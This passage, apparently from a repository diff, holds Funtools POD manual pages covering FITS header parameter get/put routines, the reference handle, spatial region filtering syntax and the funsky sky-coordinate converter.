# copy ALL extensions
csh> funtable "test.ev[EVENTS+,circle(512,512,10)]" foo.ev
Use of a Funtools reference
handle implies that the input file is opened before the output
file. However, it is important to note that if copy mode ("c" or "C")
is specified for the input file, the actual input file open is delayed
until just after the output file is opened, since the copy of prior
extensions to the output file takes place while Funtools is seeking to
the specified input extension. This implies that the output file
should be opened before any I/O is done on the input file or else the
copy will fail. Note also that the copy of subsequent extension will
be handled automatically by
FunClose()
if the output file is
closed before the input file. Alternatively, it can be done explicitly
by FunFlush(), but again, this
assumes that the input file still is open.
Upon success FunOpen() returns a
Fun handle that is used in subsequent Funtools calls. On error, NULL
is returned.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,153 @@
=pod
=head1 NAME
B<FunParamGet - get a Funtools param value>
=head1 SYNOPSIS
#include <funtools.h>
int FunParamGetb(Fun fun, char *name, int n, int defval, int *got)
int FunParamGeti(Fun fun, char *name, int n, int defval, int *got)
double FunParamGetd(Fun fun, char *name, int n, double defval, int *got)
char *FunParamGets(Fun fun, char *name, int n, char *defval, int *got)
=head1 DESCRIPTION
The four routines B<FunParamGetb()>, B<FunParamGeti()>,
B<FunParamGetd()>, and B<FunParamGets()>, return the value of
a FITS header parameter as a boolean, int, double, and string,
respectively. The string returned by B<FunParamGets()> is a malloc'ed
copy of the header value and should be freed when no longer needed.
The first argument is the Fun handle associated with the FITS header
being accessed. Normally, the header is associated with the FITS
extension that you opened with B<FunOpen()>. However, you can use
FunInfoPut() to specify access of the primary header. In particular,
if you set the FUN_PRIMARYHEADER parameter to 1, then the primary
header is used for all parameter access until the value is reset to
0. For example:
int val;
FunParamGeti(fun, "NAXIS", 1, 0, &got); # current header
val=1;
FunInfoPut(fun, FUN_PRIMARYHEADER, &val, 0); # switch to ...
FunParamGeti(fun, "NAXIS", 1, 0, &got); # ... primary header
FunParamGeti(fun, "NAXIS", 2, 0, &got); # ... primary header
val=0;
FunInfoPut(fun, FUN_PRIMARYHEADER, &val, 0); # switch back to ...
FunParamGeti(fun, "NAXIS", 2, 0, &got); # current header
Alternatively, you can use the FUN_PRIMARY macro to access parameters
from the primary header on a per-parameter basis:
FunParamGeti(fun, "NAXIS1", 0, 0, &got); # current header
FunParamGeti(FUN_PRIMARY(fun), "NAXIS1", 0, 0, &got); # primary header
B<NB: FUN_PRIMARY is deprecated.>
It makes use of a global parameter and therefore will not not
appropriate for threaded applications, when we make funtools
thread-safe. We recommend use of FunInfoPut() to switch between the
extension header and the primary header.
For output data, access to the primary header is only possible until
the header is written out, which usually takes place when the first
data are written.
The second argument is the name of the parameter to access. The third
B<n> argument, if non-zero, is an integer that will be added as a
suffix to the parameter name. This makes it easy to use a simple loop
to process parameters having the same root name. For example, to
gather up all values of TLMIN and TLMAX for each column in a binary
table, you can use:
for(i=0, got=1; got; i++){
fun->cols[i]->tlmin = (int)FunParamGeti(fun, "TLMIN", i+1, 0.0, &got);
fun->cols[i]->tlmax = (int)FunParamGeti(fun, "TLMAX", i+1, 0.0, &got);
}
The fourth B<defval> argument is the default value to return if
the parameter does not exist. Note that the data type of this
parameter is different for each specific FunParamGet() call. The final
B<got> argument will be 0 if no param was found. Otherwise the
data type of the parameter is returned as follows: FUN_PAR_UNKNOWN
('u'), FUN_PAR_COMMENT ('c'), FUN_PAR_LOGICAL ('l'), FUN_PAR_INTEGER
('i'), FUN_PAR_STRING ('s'), FUN_PAR_REAL ('r'), FUN_PAR_COMPLEX ('x').
These routines return the value of the header parameter, or the
specified default value if the header parameter does not exist. The
returned value is a malloc'ed string and should be freed when no
longer needed.
By default, B<FunParamGets()> returns the string value of the
named parameter. However, you can use FunInfoPut() to retrieve the
raw 80-character FITS card instead. In particular, if you set the
FUN_RAWPARAM parameter to 1, then card images will be returned by
FunParamGets() until the value is reset to 0.
Alternatively, if the FUN_RAW macro is applied to the name, then the
80-character raw FITS card is returned instead.
B<NB: FUN_RAW is deprecated.>
It makes use of a global parameter and therefore will not not
appropriate for threaded applications, when we make funtools
thread-safe. We recommend use of FunInfoPut() to switch between the
extension header and the primary header.
Note that in addition to the behaviors described above, the
routine B<FunParamGets()> will return the 80 raw characters of the
B<nth> FITS card (including the comment) if B<name> is specified as
NULL and B<n> is positive. For example, to loop through all FITS
header cards in a given extension and print out the raw card, use:
for(i=1; ;i++){
if( (s = FunParamGets(fun, NULL, i, NULL, &got)) ){
fprintf(stdout, "%.80s\n", s);
free(s);
}
else{
break;
}
}
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,147 @@
=pod
=head1 NAME
B<FunParamPut - put a Funtools param value>
=head1 SYNOPSIS
#include <funtools.h>
int FunParamPutb(Fun fun, char *name, int n, int value, char *comm,
int append)
int FunParamPuti(Fun fun, char *name, int n, int value, char *comm,
int append)
int FunParamPutd(Fun fun, char *name, int n, double value, int prec,
char *comm, int append)
int FunParamPuts(Fun fun, char *name, int n, char *value, char *comm,
int append)
=head1 DESCRIPTION
The four routines B<FunParamPutb()>, B<FunParamPuti()>,
B<FunParamPutd()>, and B<FunParamPuts()>, will set the value
of a FITS header parameter as a boolean, int, double, and string,
respectively.
The first argument is the Fun handle associated with the FITS header
being accessed. Normally, the header is associated with the FITS
extension that you opened with B<FunOpen()>.
However, you can use FunInfoPut() to specify that use of the primary
header. In particular, if you set the FUN_PRIMARYHEADER parameter to
1, then the primary header is used for all parameter access until the
value is reset to 0. For example:
int val;
FunParamPuti(fun, "NAXIS1", 0, 10, NULL, 1); # current header
val=1;
FunInfoPut(fun, FUN_PRIMARYHEADER, &val, 0); # switch to ...
FunParamPuti(fun, "NAXIS1", 0, 10, NULL, 1); # primary header
(You also can use the deprecated FUN_PRIMARY macro, to access
parameters from the primary header.)
The second argument is the B<name> of the parameter. (
In accordance with FITS standards, the special names B<COMMENT>
and B<HISTORY>, as well as blank names, are output without the "= "
value indicator in columns 9 and 10.
The third B<n> argument, if non-zero, is an integer that will be
added as a suffix to the parameter name. This makes it easy to use a
simple loop to process parameters having the same root name. For
example, to set the values of TLMIN and TLMAX for each column in a
binary table, you can use:
for(i=0; i<got; i++){
FunParamPutd(fun, "TLMIN", i+1, tlmin[i], 7, "min column val", 1);
FunParamPutd(fun, "TLMAX", i+1, tlmax[i], 7, "max column val", 1);
}
The fourth B<defval> argument is the value to set. Note that the
data type of this argument is different for each specific
FunParamPut() call. The B<comm> argument is the comment
string to add to this header parameter. Its value can be NULL. The
final B<append> argument determines whether the parameter is added
to the header if it does not exist. If set to a non-zero value, the
header parameter will be appended to the header if it does not exist.
If set to 0, the value will only be used to change an existing parameter.
Note that the double precision routine FunParamPutd() supports an
extra B<prec> argument after the B<value> argument, in order
to specify the precision when converting the double value to ASCII. In
general a 20.[prec] format is used (since 20 characters are alloted to
a floating point number in FITS) as follows: if the double value being
put to the header is less than 0.1 or greater than or equal to
10**(20-2-[prec]), then %20.[prec]e format is used (i.e., scientific
notation); otherwise %20.[prec]f format is used (i.e., numeric
notation).
As a rule, parameters should be set before writing the table or image.
It is, however, possible to update the value of an B<existing>
parameter after writing an image or table (but not to add a new
one). Such updating only works if the parameter already exists and if
the output file is seekable, i.e. if it is a disk file or is stdout
being redirected to a disk file.
It is possible to add a new parameter to a header after the data has
been written, but only if space has previously been reserved. To reserve
space, add a blank parameter whose value is the name of the parameter you
eventually will update. Then, when writing the new parameter, specify a
value of 2 for the append flag. The parameter writing routine will
first look to update an existing parameter, as usual. If an existing
parameter is not found, an appropriately-valued blank parameter will be
searched for and replaced. For example:
/* add blank card to be used as a place holder for IPAR1 update */
FunParamPuts(fun, NULL, 0, "IPAR1", "INTEGER Param", 0);
...
/* write header and data */
FunTableRowPut(fun, events, got, 0, NULL);
...
/* update param in file after writing data -- note append = 2 here */
FunParamPuti(fun, "IPAR", 1, 400, "INTEGER Param", 2);
The parameter routines return a 1 if the routine was successful and a 0 on
failure. In general, the major reason for failure is that you did not
set the append argument to a non-zero value and the parameter did not
already exist in the file.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,170 @@
=pod
=head1 NAME
B<FunRef: the Funtools Reference Handle>
=head1 SYNOPSIS
A description of how to use a Funtools reference handle to connect a
Funtools input file to an output file.
=head1 DESCRIPTION
The Funtools reference handle connects a Funtools input file to a
Funtools output file so that parameters (or even whole extensions) can
be copied from the one to the other. To make the connection, the Funtools
handle of the input file is passed to the
final argument of the
FunOpen() call for the output file:
if( !(ifun = FunOpen(argv[1], "r", NULL)) )
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
if( !(ofun = FunOpen(argv[2], "w", ifun)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
It does not matter what type of input or output file (or extension) is
opened, or whether they are the same type. When the output image or
binary table is written using
FunImagePut()
or
FunTableRowPut()
an appropriate header will be written first, with parameters copied
from the input extension. Of course, invalid parameters will be
removed first, e.g., if the input is a binary table and the output is
an image, then binary table parameters such as TFORM, TUNIT,
etc. parameters will not be copied to the output.
Use of a reference handle also allows default values to be passed
to
FunImagePut() in order to
write out an output image with the same dimensions and data type
as the input image. To use the defaults from the input, a value
of 0 is entered for dim1, dim2, and bitpix. For example:
fun = FunOpen(argv[1], "r", NULL);
fun2 = FunOpen(argv[2], "w", fun);
buf = FunImageGet(fun, NULL, NULL);
... process image data ...
FunImagePut(fun2, buf, 0, 0, 0, NULL);
Of course, you often want to get information about the data type
and dimensions of the image for processing. The above code
is equivalent to the following:
fun = FunOpen(argv[1], "r", NULL);
fun2 = FunOpen(argv[2], "w", fun);
buf = FunImageGet(fun, NULL, NULL);
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2,
FUN_SECT_BITPIX, &bitpix, 0);
... process image data ...
FunImagePut(fun2, buf, dim1, dim2, bitpix, NULL);
It is possible to change the reference handle for a given output Funtools
handle using the
FunInfoPut() routine:
/* make the new extension the reference handle for the output file */
FunInfoPut(fun2, FUN_IFUN, &fun, 0);
When this is done, Funtools specially resets the output file to start
a new output extension, which is connected to the new input reference
handle. You can use this mechanism to process multiple input extensions
into a single output file, by successively opening the former and
setting the reference handle for the latter. For example:
/* open a new output FITS file */
if( !(fun2 = FunOpen(argv[2], "w", NULL)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
/* process each input extension in turn */
for(ext=0; ;ext++){
/* get new extension name */
sprintf(tbuf, "%s[%d]", argv[1], ext);
/* open it -- if we cannot open it, we are done */
if( !(fun=FunOpen(tbuf, "r", NULL)) )
break;
/* make the new extension the reference handle for the output file */
FunInfoPut(fun2, FUN_IFUN, &fun, 0);
... process ...
/* flush output extension (write padding, etc.) */
FunFlush(fun2, NULL);
/* close the input extension */
FunClose(fun);
}
In this example, the output file is opened first. Then each successive
input extension is opened, and the output reference handle is set to
the newly opened input handle. After data processing is performed, the
output extension is flushed and the input extension is closed, in
preparation for the next input extension.
Finally, a reference handle can be used to copy other extensions from
the input file to the output file. Copy of other extensions is
controlled by adding a "C" or "c" to the mode string of the
FunOpen()
call B<of the input reference file>. If "C" is specified, then
other extensions are B<always> copied (i.e., copy is forced by the
application). If "c" is used, then other extensions are copied if the
user requests copying by adding a plus sign "+" to the extension name
in the bracket specification. For example, the B<funtable>
program utilizes user-specified "c" mode so that the second example
below will copy all extensions:
# copy only the EVENTS extension
csh> funtable "test.ev[EVENTS,circle(512,512,10)]" foo.ev
# copy ALL extensions
csh> funtable "test.ev[EVENTS+,circle(512,512,10)]" foo.ev
When extension copy is specified in the input file, the call to
FunOpen()
on the input file delays the actual file open until the output file
also is opened (or until I/O is performed on the input file, which
ever happens first). Then, when the output file is opened, the input
file is also opened and input extensions are copied to the output
file, up to the specific extension being opened. Processing of input
and output extensions then proceed.
When extension processing is complete, the remaining extensions need to
be copied from input to output. This can be done explicitly, using the
FunFlush()
call with the "copy=remaining" plist:
FunFlush(fun, "copy=remaining");
Alternatively, this will happen automatically, if the output file
is closed B<before> the input file:
/* we could explicitly flush remaining extensions that need copying */
/* FunFlush(fun2, "copy=remaining"); */
/* but if we close output before input, end flush is done automatically */
FunClose(fun2);
FunClose(fun);
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,571 @@
=pod
=head1 NAME
B<Regions: Spatial Region Filtering>
=head1 SYNOPSIS
This document contains a summary of the user interface for spatial
region filtering images and tables.
=head1 DESCRIPTION
Spatial region filtering allows a program to select regions of an
image or rows of a table (e.g., X-ray events) to process using
simple geometric shapes and boolean combinations of shapes. When an
image is filtered, only pixels found within these shapes are
processed. When a table is filtered, only rows found within these
shapes are processed.
Spatial region filtering for images and tables is accomplished by
means of B<region specifications>. A region specification
consists of one or more B<region expressions>, which are geometric
shapes,combined according to the rules of boolean algebra. Region
specifications also can contain comments and local/global processing
directives.
Typically, region specifications are specified using bracket notation
appended to the filename of the data being processed:
foo.fits[circle(512,512,100)]
It is also possible to put region specification inside a file and
then pass the filename in bracket notation:
foo.fits[@my.reg]
When region filters are passed in bracket notation in this manner, the
filtering is set up automatically when the file is opened and all
processing occurs through the filter. Programs also can use the filter
library API to open filters explicitly.
B<Region Expressions>
More specifically, region specifications consist of one or more lines
containing:
# comment until end of line
global keyword=value keyword=value ... # set global value(s)
# include the following file in the region descriptor
@file
# use the FITS image as a mask (cannot be used with other regions)
@fitsimage
# each region expression contains shapes separated by operators
[region_expression1], [region_expression2], ...
[region_expression], [region_expression], ...
A single region expression consists of:
# parens and commas are optional, as is the + sign
[+-]shape(num , num , ...) OP1 shape num num num OP2 shape ...
e.g.:
([+-]shape(num , num , ...) && shape num num || shape(num, num)
# a comment can come after a region -- reserved for local properties
[+-]shape(num , num , ...) # local properties go here, e.g. color=red
Thus, a region descriptor consists of one or more region
expressions or B<regions>, separated by comas, new-lines, or
semi-colons. Each B<region> consists of one or more geometric
shapes combined using standard boolean operation. Several types
of shapes are supported, including:
shape: arguments:
----- ----------------------------------------
ANNULUS xcenter ycenter inner_radius outer_radius
BOX xcenter ycenter xwidth yheight (angle)
CIRCLE xcenter ycenter radius
ELLIPSE xcenter ycenter xwidth yheight (angle)
FIELD none
LINE x1 y1 x2 y2
PIE xcenter ycenter angle1 angle2
POINT x1 y1
POLYGON x1 y1 x2 y2 ... xn yn
In addition, the following regions accept B<accelerator> syntax:
shape arguments
----- ------------------------------------------
ANNULUS xcenter ycenter radius1 radius2 ... radiusn
ANNULUS xcenter ycenter inner_radius outer_radius n=[number]
BOX xcenter ycenter xw1 yh1 xw2 yh2 ... xwn yhn (angle)
BOX xcenter ycenter xwlo yhlo xwhi yhhi n=[number] (angle)
CIRCLE xcenter ycenter r1 r2 ... rn # same as annulus
CIRCLE xcenter ycenter rinner router n=[number] # same as annulus
ELLIPSE xcenter ycenter xw1 yh1 xw2 yh2 ... xwn yhn (angle)
ELLIPSE xcenter ycenter xwlo yhlo xwhi yhhi n=[number] (angle)
PIE xcenter ycenter angle1 angle2 (angle3) (angle4) (angle5) ...
PIE xcenter ycenter angle1 angle2 (n=[number])
POINT x1 y1 x2 y2 ... xn yn
Note that the circle accelerators are simply aliases for the annulus
accelerators. See region geometry
for more information about accelerators.
Finally, the following are combinations of pie with different shapes
(called "panda" for "Pie AND Annulus") allow for easy specification of
radial sections:
shape: arguments:
----- ---------
PANDA xcen ycen ang1 ang2 nang irad orad nrad # circular
CPANDA xcen ycen ang1 ang2 nang irad orad nrad # circular
BPANDA xcen ycen ang1 ang2 nang xwlo yhlo xwhi yhhi nrad (ang) # box
EPANDA xcen ycen ang1 ang2 nang xwlo yhlo xwhi yhhi nrad (ang) # ellipse
The panda and cpanda specify combinations of annulus and circle with pie,
respectively and give identical results. The bpanda combines box and pie,
while epanda combines ellipse and pie.
See region geometry
for more information about pandas.
The following "shapes" are ignored by funtools (generated by ds9):
shape: arguments:
----- ---------
PROJECTION x1 y1 x2 y2 width # NB: ignored by funtools
RULER x1 y1 x2 y2 # NB: ignored by funtools
TEXT x y # NB: ignored by funtools
GRID # NB: ignored by funtools
TILE # NB: ignored by funtools
COMPASS # NB: ignored by funtools
All arguments to regions are real values; integer values are
automatically converted to real where necessary. All angles are in
degrees and run from the positive image x-axis to the positive image
y-axis. If a rotation angle is part of the associated WCS header, that
angle is added implicitly as well.
Note that 3-letter abbreviations are supported for all shapes, so that
you can specify "circle" or "cir".
B<Columns Used in Region Filtering>
By default, the x,y values in a region expression refer to the two
"image binning" columns, i.e. the columns that would be used to
bin the data into an image. For images, these are just the 2 dimensions
of the image. For tables, these usually default to x and y but
can be changed as required. For example, in Funtools, new binning
columns are specified using a bincols=(col1,col2) statement within
the bracket string on the command line.
Alternate columns for region filtering can be specified by the syntax:
(col1,col2)=region(...)
e.g.:
(X,Y)=annulus(x,y,ri,ro)
(PHA,PI)=circle(x,y,r)
(DX,DY)=ellipse(x,y,a,b[,angle])
B<Region Algebra>
(See also Region Algebra for more complete
information.)
Region shapes can be combined together using Boolean operators:
Symbol Operation Use
-------- --------- -----------------------------------
! not Exclude this shape from this region
& or && and Include only the overlap of these shapes
| or || inclusive or Include all of both shapes
^ exclusive or Include both shapes except their overlap
Note that the !region syntax must be combined with another region in order
that we be able to assign a region id properly. That is,
!circle(512,512,10)
is not a legal region because there is no valid region id to work with.
To get the full field without a circle, combine the above with field(),
as in:
field() && !circle(512,512,10)
B< Region Separators Also Are Operators>
As mentioned previously, multiple region expressions can be specified
in a region descriptor, separated by commas, new-lines, or
semi-colons. When such a separator is used, the boolean OR operator
is automatically generated in its place but, unlike explicit use of
the OR operator, the region ID is incremented (starting from 1).
For example, the two shapes specified in this example are given the
same region value:
foo.fits[circle(512,512,10)||circle(400,400,20)]
On the other hand, the two shapes defined in the following example are
given different region values:
foo.fits[circle(512,512,10),circle(400,400,20)]
Of course these two examples will both mask the same table rows or
pixels. However, in programs that distinguish region id's (such as
funcnts ), they will act
differently. The explicit OR operator will result in one region
expression consisting of two shapes having the same region id and
funcnts will report a single region. The comma operator will cause
funcnts to report two region expressions, each with one shape, in
its output.
In general, commas are used to separate region expressions entered
in bracket notation on the command line:
# regions are added to the filename in bracket notation
foo.fits[circle(512,512,100),circle(400,400,20)]
New-lines are used to separate region
expressions in a file:
# regions usually are separated by new-lines in a file
# use @filename to include this file on the command line
circle(512,512,100)
circle(400,400,20)
Semi-colons are provided for backward compatibility with the original
IRAF/PROS implementation and can be used in either case.
If a pixel is covered by two different regions expressions, it is
given the mask value of the B<first> region that contains that
pixel. That is, successive regions B<do not> overwrite previous
regions in the mask, as was the case with the original PROS regions.
In this way, an individual pixel is covered by one and only one
region. This means that one must sometimes be careful about the order
in which regions are defined. If region N is fully contained within
region M, then N should be defined B<before> M, or else it will be
"covered up" by the latter.
B<Region Exclusion>
Shapes also can be globally excluded from all the region specifiers in
a region descriptor by using a minus sign before a region:
operator arguments:
-------- -----------
- Globally exclude the region expression following '-' sign
from ALL regions specified in this file
The global exclude region can be used by itself; in such a case, field() is
implied.
A global exclude differs from the local exclude (i.e. a shape prefixed
by the logical not "!" symbol) in that global excludes are logically
performed last, so that no region will contain pixels from a globally
excluded shape. A local exclude is used in a boolean expression with
an include shape, and only excludes pixels from that include shape.
Global excludes cannot be used in boolean expressions.
B<Include Files>
The B<@filename> directive specifies an include file
containing region expressions. This file is processed as part of
the overall region descriptor:
foo.fits[circle(512,512,10),@foo]
A filter include file simply includes text without changing the state
of the filter. It therefore can be used in expression. That is, if the
file foo1 contains "pi==1" and foo2 contains "pha==2" then
the following expressions are equivalent:
"[@foo1&&@foo2]" is equivalent to "[pi==1&&pha==2]"
"[pha==1||@foo2]" is equivalent to "[pi==1||pha==2]"
"[@foo1,@foo2]" is equivalent to "[pi==1,pha==2]"
Be careful that you specify evaluation order properly using
parenthesis, especially if the include file contains multiple
filter statements. For example, consider a file containing two
regions such as:
circle 512 512 10
circle 520 520 10
If you want to include only events (or pixels) that are in these regions
and have a pi value of 4, then the correct syntax is:
pi==4&&(@foo)
since this is equivalent to:
pi==4 && (circle 512 512 10 || circle 520 520 10)
If you leave out the parenthesis, you are filtering this statement:
pi==4 && circle 512 512 10 || circle 520 520 10)
which is equivalent to:
(pi==4 && circle 512 512 10) || circle 520 520 10)
The latter syntax only applies the pi test to the first region.
For image-style filtering, the B<@filename> can specify an 8-bit
or 16-bit FITS image. In this case, the pixel values in the mask image
are used as the region mask. The valid pixels in the mask must have
positive values. Zero values are excluded from the mask and negative
values are not allowed. Moreover, the region id value is taken as
the image pixel value and the total number of regions is taken to be
the highest pixel value. The dimensions of the image mask must be less
than or equal to the image dimensions of the data. The mask will be
replicated as needed to match the size of the image. (Thus, best
results are obtained when the data dimensions are an even multiple of
the mask dimensions.)
An image mask can be used in any image filtering operation, regardless
of whether the data is of type image or table. For example, the
funcnts )
program performs image filtering on images or tables, and so
FITS image masks are valid input for either type of data in this
program.. An image mask cannot be used in a program such as
fundisp )
when the input data is a table, because fundisp displays
rows of a table and processes these rows using event-style filtering.
B<Global and Local Properties of Regions>
The ds9 image display program describes a host of properties such as
color, font, fix/free state, etc. Such properties can be specified
globally (for all regions) or locally (for an individual region).
The B<global> keyword specifies properties and qualifiers for all
regions, while local properties are specified in comments on the same
line as the region:
global color=red
circle(10,10,2)
circle(20,20,3) # color=blue
circle(30,30,4)
The first and third circles will be red, which the second circle will
be blue. Note that funtools currently ignores region properties, as
they are used in display only.
B< Coordinate Systems>
For each region, it is important to specify the coordinate system
used to interpret the region, i.e., to set the context in which position and
size values are interpreted. For this purpose, the following keywords
are recognized:
name description
---- ------------------------------------------
PHYSICAL pixel coords of original file using LTM/LTV
IMAGE pixel coords of current file
FK4, B1950 sky coordinate systems
FK5, J2000 sky coordinate systems
GALACTIC sky coordinate systems
ECLIPTIC sky coordinate systems
ICRS currently same as J2000
LINEAR linear wcs as defined in file
AMPLIFIER mosaic coords of original file using ATM/ATV
DETECTOR mosaic coords of original file using DTM/DTV
B<Specifying Positions, Sizes, and Angles>
The arguments to region shapes can be floats or integers describing
positions and sizes. They can be specified as pure numbers or using
explicit formatting directives:
position arguments description
------------------ ------------------------------
[num] context-dependent (see below)
[num]d degrees
[num]r radians
[num]p physical pixels
[num]i image pixels
[num]:[num]:[num] hms for 'odd' position arguments
[num]:[num]:[num] dms for 'even' position arguments
[num]h[num]m[num]s explicit hms
[num]d[num]m[num]s explicit dms
size arguments description
-------------- -----------
[num] context-dependent (see below)
[num]" arc seconds
[num]' arc minutes
[num]d degrees
[num]r radians
[num]p physical pixels
[num]i image pixels
When a "pure number" (i.e. one without a format directive such as 'd'
for 'degrees') is specified, its interpretation depends on the context
defined by the 'coordsys' keyword. In general, the rule is:
All pure numbers have implied units corresponding to the current
coordinate system.
If no such system is explicitly specified, the default system is
implicitly assumed to be PHYSICAL.
In practice this means that for IMAGE and PHYSICAL systems, pure
numbers are pixels. Otherwise, for all systems other than linear,
pure numbers are degrees. For LINEAR systems, pure numbers are in the
units of the linear system. This rule covers both positions and
sizes.
The input values to each shape can be specified in several coordinate
systems including:
name description
---- ----------------------------
IMAGE pixel coords of current file
LINEAR linear wcs as defined in file
FK4, B1950 various sky coordinate systems
FK5, J2000
GALACTIC
ECLIPTIC
ICRS
PHYSICAL pixel coords of original file using LTM/LTV
AMPLIFIER mosaic coords of original file using ATM/ATV
DETECTOR mosaic coords of original file using DTM/DTV
If no coordinate system is specified, PHYSICAL is assumed. PHYSICAL or
a World Coordinate System such as J2000 is preferred and most general.
The coordinate system specifier should appear at the beginning of the
region description, on a separate line (in a file), or followed by a
new-line or semicolon; e.g.,
global coordsys physical
circle 6500 9320 200
The use of celestial input units automatically implies WORLD
coordinates of the reference image. Thus, if the world coordinate
system of the reference image is J2000, then
circle 10:10:0 20:22:0 3'
is equivalent to:
circle 10:10:0 20:22:0 3' # j2000
Note that by using units as described above, you may mix coordinate
systems within a region specifier; e.g.,
circle 6500 9320 3' # physical
Note that, for regions which accept a rotation angle:
ellipse (x, y, r1, r2, angle)
box(x, y, w, h, angle)
the angle is relative to the specified coordinate system. In
particular, if the region is specified in WCS coordinates, the angle
is related to the WCS system, not x/y image coordinate axis. For WCS
systems with no rotation, this obviously is not an issue. However,
some images do define an implicit rotation (e.g., by using a non-zero
CROTA value in the WCS parameters) and for these images, the angle
will be relative to the WCS axes. In such case, a region specification
such as:
fk4;ellipse(22:59:43.985, +58:45:26.92,320", 160", 30)
will not, in general, be the same region specified as:
physical;ellipse(465, 578, 40, 20, 30)
even when positions and sizes match. The angle is relative to WCS axes
in the first case, and relative to physical x,y axes in the second.
More detailed descriptions are available for:
Region Geometry,
Region Algebra,
Region Coordinates, and
Region Boundaries.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,260 @@
=pod
=head1 NAME
B<funsky - convert between image and sky coordinates>
=head1 SYNOPSIS
funsky iname[ext] # RA,Dec (deg) or image pix from stdin
funsky iname[ext] [lname] # RA, Dec (deg) or image pix from list
funsky iname[ext] [col1] [col2] # named cols:units from stdin
funsky iname[ext] [lname] [col1] [col2] # named cols:units from list
=head1 OPTIONS
-d # always use integer tlmin conversion (as ds9 does)
-r # convert x,y to RA,Dec (default: convert RA,Dec to x,y)
-o # include offset from the nominal target position (in arcsec)
-v # display input values also (default: display output only)
-T # output display in rdb format (w/header,tab delimiters)
=head1 DESCRIPTION
Funsky converts input sky coordinates (RA, Dec) to image coordinates (or vice
versa) using the WCS information contained in the specified FITS file. Several
calling sequences are supported in order to make it easy to specify
coordinate positions in different ways.
The first required argument is always the input FITS file (or
extension) containing the WCS information in an extension header. Note
that the data from this file is not used. By default, the program
converts input RA and Dec values to X and Y using this WCS
information. If the WCS is associated with a FITS image, then the X,Y
values are image values. If the WCS is associated with a binary table,
then the X, Y values are physical values. To convert X,Y to RA and
Dec, use the B<-r> (reverse) switch.
If no other command arguments are supplied, then the input positions
are read from the standard input. Each line is assumed to contain a
single coordinate position consisting of an RA in degrees (or X in
pixels) followed by a Dec in degrees (or Y in pixels). The usual
delimiters are supported (spaces, commas, tabs). For example:
# read from stdin, default column names and units
[sh] funsky snr.ev
22.982695 58.606523 # input RA (hrs), Dec(deg)
510.00 510.00
22.982127 58.607634 # input
512.00 510.50
22.981700 58.614301 # input
513.50 513.50
^D # end of input
If a second argument is supplied, this argument is assumed to be
a file containing RA (X) and Dec (Y) positions. The file can either be
an ASCII table or a FITS binary table. The order of columns is
unimportant, if the table has a column header. In this case, the
names of the columns must be one of "RA", "DEC", or "X", "Y" for sky
to image and image to sky conversions, respectively. If the table has
no header, then once again, RA (X) is assumed to first, followed
by DEC (Y).
For example:
# read from file, default column names and units
[sh] cat hd.in
RA DEC
--------- ---------
22.982695 58.606523
22.982127 58.607634
22.981700 58.614301
[sh] funsky snr.ev hd.in
510.00 510.00
512.00 510.50
513.50 513.50
If three arguments are supplied, then the input positions again are
read from the standard input. Each line is assumed to contain a single
coordinate position consisting of an RA (or X in pixels) followed by a
Dec (or Y in pixels), with the usual delimiters supported. However,
the second and third arguments now specify the column names and/or
sky units using a colon-delimited syntax:
[colname]:[h|d|r]
If the colname is omitted, the names default to "RA", "DEC", "X", "Y",
"COL1", or "COL2" as above. If the units are omitted, the default is degrees
for both RA and Dec. When the -r switch is used (convert from image
to sky) the units are applied to the output instead of the input. The following
examples will serve to illustrate the options:
# read from stdin, specifying column names (def. units: degrees)
[sh] cat hd.in
MYRA MYDEC
--------- ---------
22.982695 58.606523
22.982127 58.607634
22.981700 58.614301
[sh] funsky snr.ev MYRA MYDEC < hd.in
510.00 510.00
512.00 510.50
513.50 513.50
# read from stdin, specifying column names and units
[sh] cat dd.in
MYRA MYDEC
--------- ---------
344.740432 58.606523
344.731900 58.607634
344.725500 58.614301
[sh] funsky snr.ev MYRA:d MYDEC:d < dd.in
510.00 510.00
512.00 510.50
513.50 513.50
# read stdin, convert image to sky, specifying output sky units
[sh] cat im.in
510.00 510.00
512.00 510.50
513.50 513.50
[sh] cat im.in | funsky -r snr.ev :d :d
344.740432 58.606523
344.731900 58.607634
344.725500 58.614301
Finally, four command arguments specify both and input file and column names
and/or units:
[sh] cat dd.in
MYRA MYDEC
--------- ---------
344.740432 58.606523
344.731900 58.607634
344.725500 58.614301
[sh] funsky snr.ev dd.in MYRA:d MYDEC:d
510.00 510.00
512.00 510.50
513.50 513.50
# read file, convert image to sky, specifying output sky units
[sh] cat im.in
510.00 510.00
512.00 510.50
513.50 513.50
[sh] funsky -r snr.ev im.in :d :d
344.740432 58.606523
344.731900 58.607634
344.725500 58.614301
By default, the output of funsky consists only of the converted coordinate
position(s), one per output line. This makes parsing in shell scripts easy.
Use the B<-v> (verbose) switch to specify that the input
coordinates should be pre-pended to each line. For example:
[sh] cat dd.in
MYRA MYDEC
--------- ---------
344.740432 58.606523
344.731900 58.607634
344.725500 58.614301
[sh] funsky snr.ev dd.in MYRA:d MYDEC:d
510.00 510.00
512.00 510.50
513.50 513.50
[sh] funsky -v snr.ev dd.in MYRA:d MYDEC:d
344.740432 58.606523 510.00 510.00
344.731900 58.607634 512.00 510.50
344.725500 58.614301 513.50 513.50
In addition, a full starbase table can be output using the B<-T>
(table) switch. This switch can be used with or without the -v
switch. If the -T and -v are both specified, then a descriptive header
parameters are output before the table (mainly to remind you of the
sky units):
# output table in non-verbose mode
[sh] funsky -T snr.ev dd.in MYRA:d MYDEC:d
X Y
------------ ------------
510.00 510.00
512.00 510.50
513.50 513.50
# output table in verbose mode
[sh] funsky -T -v snr.ev dd.in MYRA:d MYDEC:d
# IFILE = /Users/eric/data/snr.ev
# ICOL1 = MYRA
# ICOL2 = MYDEC
# IUNITS1 = d
# IUNITS2 = d
# OCOL1 = X
# OCOL2 = Y
MYRA MYDEC X Y
------------ ------------ ------------ ------------
